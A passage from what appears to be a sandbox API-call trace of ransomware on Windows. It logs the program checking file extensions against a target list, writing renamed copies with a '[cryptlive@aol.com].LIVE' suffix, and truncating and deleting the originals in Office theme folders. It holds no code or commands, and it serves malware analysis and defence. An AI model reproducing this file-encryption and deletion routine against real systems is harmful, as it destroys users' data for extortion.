(lpString1=".jpg", lpString2=".GIF") returned 1 [0050.796] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0050.797] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.797] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5179) returned 1 [0050.797] CloseHandle (hObject=0x204) returned 1 [0050.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0050.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0050.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.797] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.797] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0050.999] GetLastError () returned 0x0 [0050.999] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x143b, lpOverlapped=0x0) returned 1 [0051.001] WriteFile (in: hFile=0x188, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0051.003] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.003] WriteFile (in: hFile=0x188, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.003] SetEndOfFile (hFile=0x188) returned 1 [0051.003] CloseHandle (hObject=0x188) returned 1 [0051.004] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.004] SetEndOfFile (hFile=0x204) returned 1 [0051.004] CloseHandle (hObject=0x204) returned 1 [0051.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.005] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0051.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0051.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0051.005] lstrlenW (lpString=".doc") returned 4 [0051.005] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.005] lstrlenW (lpString=".docx") returned 5 [0051.005] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.005] lstrlenW (lpString=".pdf") returned 4 [0051.005] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.005] lstrlenW (lpString=".xls") returned 4 [0051.005] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.005] lstrlenW (lpString=".xlsx") returned 5 [0051.005] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.005] lstrlenW (lpString=".ppt") returned 4 [0051.005] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0051.005] lstrlenW (lpString=".zip") returned 4 [0051.005] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.005] lstrlenW (lpString=".rar") returned 4 [0051.005] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.005] lstrlenW (lpString=".bz2") returned 4 [0051.005] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.005] lstrlenW (lpString=".7z") returned 3 [0051.005] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0051.006] lstrlenW (lpString=".dbf") returned 4 [0051.006] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0051.006] lstrlenW (lpString=".1cd") returned 4 [0051.006] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0051.006] lstrlenW (lpString=".jpg") returned 4 [0051.006] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0051.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0051.006] lstrlenW (lpString=".doc") returned 4 [0051.006] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.006] lstrlenW (lpString=".docx") returned 5 [0051.006] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.006] lstrlenW (lpString=".pdf") returned 4 [0051.006] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.006] lstrlenW (lpString=".xls") returned 4 [0051.006] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.006] lstrlenW (lpString=".xlsx") returned 5 [0051.006] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.006] lstrlenW (lpString=".ppt") returned 4 [0051.006] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0051.006] lstrlenW (lpString=".zip") returned 4 [0051.006] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.006] lstrlenW (lpString=".rar") returned 4 [0051.006] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.006] lstrlenW (lpString=".bz2") returned 4 [0051.006] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.006] lstrlenW (lpString=".7z") returned 3 [0051.006] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0051.006] lstrlenW (lpString=".dbf") returned 4 [0051.006] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0051.007] lstrlenW (lpString=".1cd") returned 4 [0051.007] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0051.007] lstrlenW (lpString=".jpg") returned 4 [0051.007] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.007] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.007] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.007] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2476) returned 1 [0051.007] CloseHandle (hObject=0x204) returned 1 [0051.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0051.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.008] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.008] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.012] GetLastError () returned 0x0 [0051.012] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x9ac, lpOverlapped=0x0) returned 1 [0051.015] WriteFile (in: hFile=0x188, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0051.017] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.017] WriteFile (in: hFile=0x188, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.017] SetEndOfFile (hFile=0x188) returned 1 [0051.017] CloseHandle (hObject=0x188) returned 1 [0051.017] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.017] SetEndOfFile (hFile=0x204) returned 1 [0051.026] CloseHandle (hObject=0x204) returned 1 [0051.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.026] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0051.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0051.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0051.027] lstrlenW (lpString=".doc") returned 4 [0051.027] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.027] lstrlenW (lpString=".docx") returned 5 [0051.027] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.027] lstrlenW (lpString=".pdf") returned 4 [0051.027] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.027] lstrlenW (lpString=".xls") returned 4 [0051.027] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.027] lstrlenW (lpString=".xlsx") returned 5 [0051.027] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.027] lstrlenW (lpString=".ppt") returned 4 [0051.027] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0051.028] lstrlenW (lpString=".zip") returned 4 [0051.028] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.028] lstrlenW (lpString=".rar") returned 4 [0051.028] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.028] lstrlenW (lpString=".bz2") returned 4 [0051.028] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.028] lstrlenW (lpString=".7z") returned 3 [0051.028] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0051.028] lstrlenW (lpString=".dbf") returned 4 [0051.028] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0051.028] lstrlenW (lpString=".1cd") returned 4 [0051.028] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0051.028] lstrlenW (lpString=".jpg") returned 4 [0051.028] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0051.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0051.028] lstrlenW (lpString=".doc") returned 4 [0051.028] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.028] lstrlenW (lpString=".docx") returned 5 [0051.028] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.028] lstrlenW (lpString=".pdf") returned 4 [0051.028] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.028] lstrlenW (lpString=".xls") returned 4 [0051.028] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.029] lstrlenW (lpString=".xlsx") returned 5 [0051.029] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.029] lstrlenW (lpString=".ppt") returned 4 [0051.029] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0051.029] lstrlenW (lpString=".zip") returned 4 [0051.029] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.029] lstrlenW (lpString=".rar") returned 4 [0051.029] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.029] lstrlenW (lpString=".bz2") returned 4 [0051.029] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.029] lstrlenW (lpString=".7z") returned 3 [0051.029] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0051.029] lstrlenW (lpString=".dbf") returned 4 [0051.029] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0051.029] lstrlenW (lpString=".1cd") returned 4 [0051.029] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0051.029] lstrlenW (lpString=".jpg") returned 4 [0051.029] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.029] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.030] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.030] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=19485) returned 1 [0051.030] CloseHandle (hObject=0x204) returned 1 [0051.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0051.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.031] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.031] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.031] GetLastError () returned 0x0 [0051.031] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0051.042] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0051.044] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.044] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.044] SetEndOfFile (hFile=0x1f8) returned 1 [0051.044] CloseHandle (hObject=0x1f8) returned 1 [0051.044] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.045] SetEndOfFile (hFile=0x204) returned 1 [0051.046] CloseHandle (hObject=0x204) returned 1 [0051.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.046] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0051.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0051.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0051.047] lstrlenW (lpString=".doc") returned 4 [0051.047] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.047] lstrlenW (lpString=".docx") returned 5 [0051.047] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.047] lstrlenW (lpString=".pdf") returned 4 [0051.047] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.047] lstrlenW (lpString=".xls") returned 4 [0051.047] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.047] lstrlenW (lpString=".xlsx") returned 5 [0051.047] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.047] lstrlenW (lpString=".ppt") returned 4 [0051.047] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0051.047] lstrlenW (lpString=".zip") returned 4 [0051.047] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.047] lstrlenW (lpString=".rar") returned 4 [0051.047] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.047] lstrlenW (lpString=".bz2") returned 4 [0051.047] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.047] lstrlenW (lpString=".7z") returned 3 [0051.047] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0051.047] lstrlenW (lpString=".dbf") returned 4 [0051.047] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0051.047] lstrlenW (lpString=".1cd") returned 4 [0051.047] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0051.048] lstrlenW (lpString=".jpg") returned 4 [0051.048] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0051.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0051.048] lstrlenW (lpString=".doc") returned 4 [0051.048] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.048] lstrlenW (lpString=".docx") returned 5 [0051.048] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.048] lstrlenW (lpString=".pdf") returned 4 [0051.048] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.048] lstrlenW (lpString=".xls") returned 4 [0051.048] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.048] lstrlenW (lpString=".xlsx") returned 5 [0051.048] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.048] lstrlenW (lpString=".ppt") returned 4 [0051.048] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0051.048] lstrlenW (lpString=".zip") returned 4 [0051.048] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.048] lstrlenW (lpString=".rar") returned 4 [0051.048] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.048] lstrlenW (lpString=".bz2") returned 4 [0051.048] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.048] lstrlenW (lpString=".7z") returned 3 [0051.048] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0051.049] lstrlenW (lpString=".dbf") returned 4 [0051.049] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0051.049] lstrlenW (lpString=".1cd") returned 4 [0051.049] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0051.049] lstrlenW (lpString=".jpg") returned 4 [0051.049] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.049] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.049] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 